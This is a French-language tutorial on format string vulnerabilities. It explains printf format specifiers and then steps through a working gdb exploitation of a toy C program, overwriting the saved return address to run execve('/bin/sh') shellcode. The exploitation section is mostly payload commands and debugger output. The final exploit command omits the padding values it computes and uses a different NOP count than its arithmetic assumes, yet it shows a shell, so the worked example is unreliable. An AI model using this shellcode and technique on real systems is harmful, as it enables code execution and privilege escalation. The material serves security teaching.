Les failles Format String

Concept et exploitation

Warr

01/10/2010

Introduction

Je rédige ce papier afin de combler un manque cruel (à mon sens) de documentation à propos de ces failles. L'essentiel des tutos/papiers que l'on trouve sur le net sont en anglais, ce qui ne facilite pas la compréhension du sujet. Pour les quelques rares documents rédigés en français, ils sont bien souvent très mal tournés.

Je vais donc tenter d'expliquer le principe des Format String de la façon dont j'aurais aimé qu'on le fasse au moment ou j'ai moi-même appris.

Sommaire

1 Rappels sur les fonctions de la famille printf()

1.1 Comportement global

Ces fonctions ont la particularité d'utiliser une technique un peu spéciale pour traiter les données qu'elles manipulent. En effet, elles se basent sur des "formateurs", pour interpréter leurs arguments et mettre en forme les données à retourner. Voici un exemple :

```c
#include <stdio.h>

int main()
{
    int nombre = 5;
    printf("L'adresse de la variable nombre est %x ou encore %d, et sa valeur est %d.\n",&nombre,&nombre,nombre);
    return 0;
}
```

```
warr@debian:~$ gcc printf.c -o printf
warr@debian:~$ ./printf
L'adresse de la variable nombre est bffffd60 ou encore -1073742496, et sa valeur est 5.
```

Nous voyons ici que la chaine de caractère dans le printf() contient les formateurs %x %d et %d, qui prennent respectivement pour valeur &nombre, &nombre et nombre. Vous l'avez compris, les deux premiers affichent l'adresse de la variable "nombre", une fois sous forme hexadécimale une fois sous forme décimale, et le dernier affiche la valeur de "nombre" sous la forme entière.
Il est donc possible à partir de la même valeur de l'afficher différemment suivant le formateur qu'on utilise, dans notre cas %x ou %d.

1.2 Les formateurs (partie 1)

Pour l'instant, juste quelques mots sur les formateurs, afin de bien comprendre leur fonctionnement.
Chaque formateur placé dans une chaine remplace une valeur codée sur 4 octets (généralement). Cela signifie qu'au moment de l'exécution, les variables à afficher ont été placées sur la pile et que la fonction printf() parcourt cette dernière 4 octets par 4 octets pour trouver les valeurs qu'elle doit afficher, puisque ces valeurs sont stockées dans l'ordre qui a été spécifié dans le programme. Nous allons nous arrêter ici pour le moment en ce qui concerne les formateurs.

2 La faille Format String, théorie

2.1 Un programme faillible

Le programme ci-dessous sera l'exemple utilisé tout au long de l'article.

```c
#include <string.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
  if (argc < 2)
  {
    printf("Usage : entrez une chaine a afficher\n");
    exit(1);
  }

  char msg[1024];

  strncpy(msg,argv[1],1024);
  msg[1023] = '\0';

  printf(msg);
  printf("\n");
  return 0;
}
```

```
warr@debian:~$ ./vuln Yop
Yop
```

Bon pas de surprise. La variable « msg » a été remplacée par notre argument et printf() l'a affichée. Voyons autre chose :

```
warr@debian:~$ ./vuln %x%x%x%x%x%x
1bffffd788048489bffffd80bffffd80bffffd98
```

Ou encore

```
warr@debian:~$ ./vuln %s%s%s%s
Erreur de segmentation
```

2.2 Explication de la faille

Prenons le premier cas. On passe en argument à notre programme des formateurs. Le programme se retrouve donc à exécuter la chose suivante :

```
printf("%x%x%x%x");
```

Seulement vous avez remarqué que la fonction printf() n'a pas d'arguments pour remplacer les formateurs dans la chaine. Elle affiche donc ce qu'elle a sous la main, c'est à dire les valeurs présentes sur la pile. C'est une première chose embêtante, par exemple dans le cas d'un programme utilisant un système de login ou de mots de passe, on pourrait se servir de cette technique pour les afficher à l'écran. Mais les possibilités sont bien plus alléchantes que ça.

Dans le deuxième cas, le programme fait une erreur de segmentation, et cela est dû au fait que le formateur %s fonctionne différemment par rapport au %x du premier cas. Nous allons tout de suite expliquer cette différence de fonctionnement.

2.3 Les formateurs (partie 2)

Nous avons vu précédemment, et brièvement ce qu'étaient et à quoi servaient les formateurs. Mais maintenant nous allons devoir les classer en deux catégories, et comprendre impérativement le pourquoi du comment, et ce qui les distingue. C'est selon moi la partie la plus importante.

Les deux catégories seront donc les formateurs "pointeurs", et les formateurs "directs". Les noms des catégories sont maisons je le précise, il y a peu de chance que vous retrouviez ces termes autre part.

2.3.1 Les formateurs directs

Reprenons le premier des deux exemples ci dessus, afin de décrire leur fonctionnement :

```
warr@debian:~$ ./vuln %x%x%x%x%x%x
1bffffd788048489bffffd80bffffd80bffffd98
```

Le formateur %x est donc un formateur direct pour la raison suivante : il affiche tout simplement la valeur sur laquelle il se trouve. Voyons ça avec une petite représentation de la pile. Ne vous inquiétez pas, les valeurs de la pile correspondent à l'affichage sauf que dans le terminal les 0 sont tronqués.

```
                PILE
              ____________
1er  %x ->[ 00000001 ] <- %x cible la valeur 00000001 sur la pile, donc affichage : "00000001"
2eme %x ->[ bfffd78 ] <- %x cible la valeur bfffd78 sur la pile, donc affichage : "bfffd78"
3eme %x ->[ 08048489 ] <- %x cible la valeur 08048489 sur la pile, donc affichage : "08048489"
4eme %x ->[ bfffd80 ] <- %x cible la valeur bfffd80 sur la pile, donc affichage : "bfffd80"
          [ XXXXXXXX ]
          ------------
```

Vous devez donc retenir que le formateur %x affiche donc simplement la valeur qu'il cible sur la pile, sans se préoccuper de quoi que ce soit d'autre.

2.3.2 Les formateurs pointeurs

Ici, nous nous serviront du deuxième exemple :

```
warr@debian:~$ ./vuln %s%s%s%s
Erreur de segmentation
```

Le formateur %s est de type pointeur, c'est à dire qu'au lieu d'afficher la valeur qu'il cible, il va afficher la valeur POINTEE par la valeur qu'il cible. Ca parait dément et imbuvable dit comme ça mais c'est tout simple. Voyons ce qui se passe dans la pile.

```
                PILE
              ____________
1er  %s ->[ 00000001 ] <- %s cible la valeur 00000001, donc affichage DE CE QUI SE TROUVE en mémoire A L'ADRESSE 00000001
2eme %s ->[ bfffd78 ] <- %s cible la valeur bfffd78, donc affichage DE CE QUI SE TROUVE en mémoire A L'ADRESSE bfffd78
3eme %s ->[ 08048489 ] <- %s cible la valeur 08048489, donc affichage DE CE QUI SE TROUVE en mémoire A L'ADRESSE 08048489
4eme %s ->[ bfffd80 ] <- %s cible la valeur bfffd80, donc affichage DE CE QUI SE TROUVE en mémoire A L'ADRESSE bfffd80
          [ XXXXXXXX ]
          ------------
```

Voila pourquoi notre programme plante avec les %s !! Le premier essaye d'afficher la valeur contenue en mémoire à l'adresse 00000001. Cette adresse n'existe pas pour le programme -> erreur de segmentation. Maintenant le deuxième %s semble cibler une adresse qui pourrait appartenir au programme. En effet bfffd78 a plus de chance de faire partie du contexte d'adressage du programme que 00000001. Donc essayons de relancer le programme comme ceci :

```
warr@debian:~$ ./vuln %x%s
1ýÿ¿¾@
```

Faites bien attention, on a ici mis un %x et un %s.

```
                PILE
              _____________
1er  %x ->[ 00000001 ] <- %x cible la valeur 00000001 sur la pile, donc affichage : "00000001"
2eme %s ->[ bffffd78 ] <- %s cible la valeur bffffd78, donc affichage DE CE QUI SE TROUVE en mémoire A L'ADRESSE bffffd78
          [ 08048489 ]
          [ bffffd80 ]
          [ XXXXXXXX ]
          ------------
```

Débriefing : le premier formateur est un %x -> formateur direct -> il se contente d'afficher 00000001 (le 1 dans la chaine "1ýÿ¿¾@") contrairement à %s qui lui cherchait à afficher ce qui se trouve à cette adresse dans l'exemple précédent. Le deuxième formateur est un %s -> formateur pointeur -> il cible l'adresse bffffd78 -> il affiche ce que s'y trouve : "ýÿ¿¾@". Donc ici plus d'erreur de segmentation, et c'est logique puisque %s lit à l'adresse bffffd78 et que bffffd78 est une adresse qui fait partie du contexte d'adressage du programme.

2.3.3 Le formateur %n

Celui ci je le prends à part, il est vitale pour le succès de notre exploit. Tout d'abord, c'est un formateur POINTEUR, je vous ai expliqué rabâché en long en large et en travers ce que ce type de formateur avait de particulier dans la partie précédente, je suis sûr que ça ne vous a pas échappé.

Cela dit, il se différencie radicalement d'un %s par exemple, car %s ne fait que LIRE dans la mémoire. A l'inverse %n ECRIT dans la mémoire. Donc %n ECRIT là ou pointe la valeur qu'il cible sur la pile, et il y écrit le nombre de caractères déjà affichés avant lui par la fonction printf(). Nous verrons tout ça avec des exemples tout à l'heure.

3 La faille Format String, exploitation

3.1 Théorie

Voila le moment épineux. Pour récapituler, on dispose d'un moyen de placer autant de caractères que l'on veut en mémoire grâce à la fonction printf() qui affiche notre variable msg, cette dernière sera donc empilée je pense que vous l'avez compris. Puis ensuite on a la possibilité d'écrire dans la mémoire grâce au %n. Voyons comment nous allons nous y prendre.

Rappelez-vous, les formateurs %x nous permettent de lire la mémoire car chacun d'eux cible une valeur de la pile. Nous allons chercher le nombre de formateurs nécessaires pour tomber à l'endroit de la mémoire (de la pile) où commence notre variable « msg ». Les valeurs qui vont s'afficher seront différentes que celles que nous avons vu dans les parties précédentes. Ce n'est pas important. On place donc AAAA dans le début du buffer, pour les reconnaître facilement quand le nombre de %x sera suffisant pour retomber sur eux. L'exemple suivant sera plus parlant.

```
warr@debian:~$ ./vuln AAAA%x
AAAAbffffea8
```

On continue de lire la mémoire en ajoutant un %x

```
warr@debian:~$ ./vuln AAAA%x%x
AAAAbffffea63f8
```

…

```
warr@debian:~$ ./vuln AAAA%x%x%x
AAAAbffffea43f66
```

…

```
warr@debian:~$ ./vuln AAAA%x%x%x%x
AAAAbffffea23f46bffffd80
```

…

```
warr@debian:~$ ./vuln AAAA%x%x%x%x%x
AAAAbffffea03f26bffffd8041414141
```

Et voila, on remarque les 41414141 (AAAA) qui s'affichent, le cinquième %x cible donc cette valeur sur la pile. Pour bien préciser les choses :

```
                PILE
              _____________
  1er  %x ->[ bffffea0 ] <- %x cible la valeur bffffea0 sur la pile, donc affichage : "bffffea0"
  2eme %x ->[ 000003f2 ] <- %x cible la valeur 000003f2 sur la pile, donc affichage : "000003f2"
  3eme %x ->[ 00000006 ] <- %x cible la valeur 00000006 sur la pile, donc affichage : "00000006"
  4eme %x ->[ bfffd80 ] <- %x cible la valeur bfffd80 sur la pile, donc affichage : "bfffd80"
  5eme %x ->[ 41414141 ] <- %x cible la valeur 41414141 sur la pile, donc affichage : "41414141"
            ------------
```

Donc maintenant, si nous remplaçons notre cinquième %x par un formateur pointeur, %n pourquoi pas, nous seront en mesure d'écrire la ou pointe la valeur ciblée le cinquième formateur. On aura donc ceci :

```
                PILE
              _____________
  1er  %x ->[ bffffea0 ] <- %x cible la valeur bffffea0 sur la pile, donc affichage : "bffffea0"
  2eme %x ->[ 000003f2 ] <- %x cible la valeur 000003f2 sur la pile, donc affichage : "000003f2"
  3eme %x ->[ 00000006 ] <- %x cible la valeur 00000006 sur la pile, donc affichage : "00000006"
  4eme %x ->[ bfffd80 ] <- %x cible la valeur bfffd80 sur la pile, donc affichage : "bfffd80"
       %n ->[ 41414141 ] <- %n cible la valeur 41414141 sur la pile, donc ECRITURE à l'adresse : "41414141"
            ------------
```

Si nous lançons le programme de la façon suivante :

```
warr@debian:~$ ./vuln AAAA%x%x%x%x%n
Erreur de segmentation
```

« Erreur de segmentation » pour la simple raison que nous demandons à printf() d'écrire à l'adresse 0x41414141, qui n'existe évidemment pas.
En revanche, si nous remplaçons les AAAA dans le buffer par une adresse judicieusement choisie, nous allons pouvoir écrire à cette adresse. Un petit POC via gdb :

```
warr@debian:~$ gdb ./vuln

(gdb) disass main
Dump of assembler code for function main:
0x08048424 <main+0>:    lea    0x4(%esp),%ecx
0x08048428 <main+4>:    and    $0xfffffff0,%esp
…
…
…
0x08048484 <main+96>:   call   0x8048360 <strncpy@plt>
0x08048489 <main+101>:  movb   $0x0,0xfffffffb(%ebp)
0x0804848d <main+105>:  lea    0xffffbfc(%ebp),%eax
0x08048493 <main+111>:  mov    %eax,(%esp)
0x08048496 <main+114>:  call   0x8048340 <printf@plt> <----- faille ici
0x0804849b <main+119>:  movl   $0xa,(%esp)  <---------------- breakpoint ici
0x080484a2 <main+126>:  call   0x8048310 <putchar@plt>
…
…
…
0x080484b7 <main+147>:  ret
End of assembler dump.
(gdb) b*main+119
Breakpoint 1 at 0x804849b
```

On place un breakpoint juste après le printf(), il aura donc déjà fait son œuvre. On va écrire à l'adresse 0xbffffea0, cette adresse fait partie de la pile du programme. Je remplace donc mes AAAA par cette adresse. Comme c'est le cinquième et dernier formateur qui nous intéresse, je ne vais pas mettre les autres dans la ligne de commande. Par contre je vais utiliser %5$n. Cela veut dire "le cinquième élément de 4octets sur la pile est un %n". Cette notation est équivalente à %x%x%x%x%n mis à part que les 4 premières valeurs pointées par les %x ne s'afficheront pas. Voila ce que ça va donner :

```
           PILE
         ____________
         [ bffffea0 ]
         [ 000003f2 ]
         [ 00000006 ]
         [ bffffd80 ]
 %5$n ->[ bffffea0 ] <- %5$n cible la valeur bffffea0 sur la pile, donc ECRITURE à l'adresse : "bffffea0" = \xa0\xfe\xff\xbf
         ------------
```

```
(gdb) r `python -c 'print "\xa0\xfe\xff\xbf" + "%5$n"'`
Starting program: /home/warr/vuln `python -c 'print "\xa0\xfe\xff\xbf" + "%5$n"'`
Breakpoint 1, 0x0804849b in main ()
```

Le programme s'arrête au breakpoint, juste après avoir exécuté le printf(). Maintenant affichons ce qui ce trouve en 0xbffffea0 (là ou nous avons normalement écrit).

```
(gdb) x/x 0xbffffea0
0xbffffea0:     0x00000004
```

La valeur 4 est présente à cette adresse. Rappelez-vous, %n écrit le nombre de caractères précédemment affichés par printf(). Ici, printf() a affiché 4 caractères avant de tomber sur le formateur %n, qui sont les 4 caractères qui composent notre adresse 0xbffffea0. Pour être bien certain on peut rajouter quelques caractères dans l'argument et relancer gdb :

```
(gdb) r `python -c 'print "\xa0\xfe\xff\xbf" + "aaaaaa" + "%5$n"'`
Starting program: /home/warr/vuln `python -c 'print "\xa0\xfe\xff\xbf" + "aaaaaa" + "%5$n"'`
Breakpoint 1, 0x0804849b in main ()
(gdb) x/x 0xbffffea0
0xbffffea0:     0x0000000a
```

La valeur à l'adresse 0xbffffea0 est bien 0000000a = 10 en décimal, c'est à dire les 4 octets de l'adresse + les « aaaaaa » que l'on a ajouté.

3.2 Pratique

Nous allons maintenant voir comment exécuter un shellcode. Pour cela, il va falloir intercepter le flux d'exécution du programme, et le rediriger là ou on veut. Le programme d'exemple est extrêmement simple, une manière de le détourner est d'agir au moment du "ret" effectué par le main. Notre exploit aura donc la syntaxe suivante :

@Eip + nops + shellcode + des caractères pour écrire l'adresse ou l'on veut rediriger le flux + "%5$n"

Je précise que la technique décrite ensuite n'est pas du tout "optimale", ni même la plus facile à mettre en œuvre. Par contre elle a pour avantage de se dérouler de la même façon qu'un BoF classique, ce qui sera donc plus facile à expliquer et à comprendre.

Premièrement, il nous faut trouver notre shellcode dans la mémoire pour avoir notre adresse de retour. On place un breakpoint sur le "ret" et on lance le programme :

```
(gdb) r `python -c 'print "\x41\x41\x41\x41" +
                       "\x90"*34 +
                       "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f
                        \x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" +
                       "%5$x"'`

Starting program: /home/warr/vuln `python -c 'print "\x41\x41\x41\x41" + "\x90"*34 + "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1
\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" +
"%5$x"'`
AAAAj
     XRh//shh/binãRSáÍ41414141


Breakpoint 2, 0x080484b7 in main ()
(gdb) x/40x $esp+300
0xbffffe28:     0x6e6c7576      0x42fe7ad5      0x135de1a0      0xc9a354b6
0xbffffe38:     0xf5e463b9      0x41414100      0x90909041      0x90909090
0xbffffe48:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffe58:     0x90909090      0x90909090      0x6a909090      0x80cd5831
0xbffffe68:     0xc189c389      0xcd58466a      0x50c03180      0x732f2f68
0xbffffe78:     0x622f6868      0x5b546e69      0xe1895350      0x0bb0d231
0xbffffe88:     0x6873cd80      0x52455400      0x74783d4d      0x006d7265
0xbffffe98:     0x5f485353      0x45494c43      0x313d544e      0x312e3239
0xbffffea8:     0x312e3836      0x2030312e      0x37393134      0x32322030
0xbffffeb8:     0x48535300      0x5954545f      0x65642f3d      0x74702f76

(gdb) x/x $esp
0xbffffcec:     0x400313be
```

Si certains se demandent pourquoi le programme n'a pas segfault, je précise bien que j'ai mis %5$x et non pas un %5$n. Le programme se contente d'afficher 41414141, mais ne cherche donc pas à écrire à cette adresse. Dans ce cas, pas d'erreur. Il était nécessaire de mettre un %x, autrement le programme aurait planté avant le breakpoint, et on n'aurait pas pu avoir les informations nécessaires à notre exploit.

Nous avons donc en mémoire les nops suivis pas le shellcode. Si on redirige le programme sur l'adresse 0xbffffe48 par exemple, le programme sera amené à lancer notre shell. Maintenant, il va faloir écrire cette adresse. Je rappelle que %n écrit dans la mémoire le nombre de caractères affichés avant lui. Donc on va devoir afficher 3221225032 (base 10) = bffffe48 (hexa) caractères avant le %n. Pour cela, on va se servir de cette notation : %XXXXd. Cela génère un entier de taille XXXX. Seulement, on ne pourra pas écrire 0xbffffe48 en une fois. L'argument du programme serait trop long. Il va falloir qu'on écrive notre adresse en deux fois.

Pour cela, on va utiliser le formateur %hn. Son fonctionnement est le même que celui de %n, à la différence qu'il écrit des valeurs de 2 octets (16bits) au lieu de 4 octets (32bits) pour %n. On va donc devoir écraser notre sauvegarde d'eip, dont la longueur sur la pile est de 4 octets (taille d'une adresse).

Avant de savoir comment on va écrire l'adresse, il faut savoir où l'on va l'écrire. J'ai donc affiché également l'adresse de la sauvegarde d'eip sur la pile en faisant x/x $esp. En effet ret = pop eip donc la valeur en haut de la pile est placée dans eip. Si on affiche le haut de la pile avec x/x $esp (comme ci-dessus), on obtient l'adresse 0xbffffcec.

Nous devrons donc écrire notre adresse 0xbffffe48 (adresse des nops) à l'adresse 0xbffffcec (adresse de la sauvegarde d'eip). Voyons ça :

0xbffffcec : XX XX XX XX

Nos 4 octets XX à remplacer ont chacun pour adresse (de gauche à droite) : bffffcef, bffffcee, bffffced, bffffcec.

Nous devrons donc faire pointer :
- le premier %hn sur l'adresse bffffcec afin d'y écrire le nombre fe48 (65096 base 10) ce qui nous donnera XX XX fe 48
- le deuxième %hn sur l'adresse bffffcee afin d'y écrire le nombre bfff (49151 base 10) ce qui nous donnera bf ff fe 48

De cette façon, nous auront bien à l'adresse 0xbffffcec (adresse de la sauvegarde d'eip) la valeur bffffe48 (adresse pointant dans les nops de notre shellcode). L'exploit aurait donc la forme suivante :

bffffcee + bffffcec + nops + shellcode + %Xd%5$n + "%Yd%6$n" avec :

X = 49151 - 8 - nops - shellcode = 49151 - 8 - 34 - 39 = 49070
Y = 65096 - X - 8 - nops - shellcode = 65096 - 49151 = 15945

Voyons la pile, du moins la partie qui nous intéresse :

Maintenant lançons notre exploit :

```
(gdb) r `python -c 'print "\xee\xfc\xff\xbf" +
                       "\xec\xfc\xff\xbf" +
                       "\x90"*30 +
                       "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f
                        \x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" +
                       "%5$hn" +
                       "%6$hn"'`

Breakpoint 1, 0x080484b7 in main ()
(gdb) x/x $esp
0xbffffcec:     0xbffffe48
(gdb) x/x 0xbffffe48
0xbffffe48:     0x90909090
(gdb) c
Continuing.
sh-2.05b$
```

Le flux d'exécution du programme a été dévié sur notre shellcode, et ce dernier a bien été exécuté.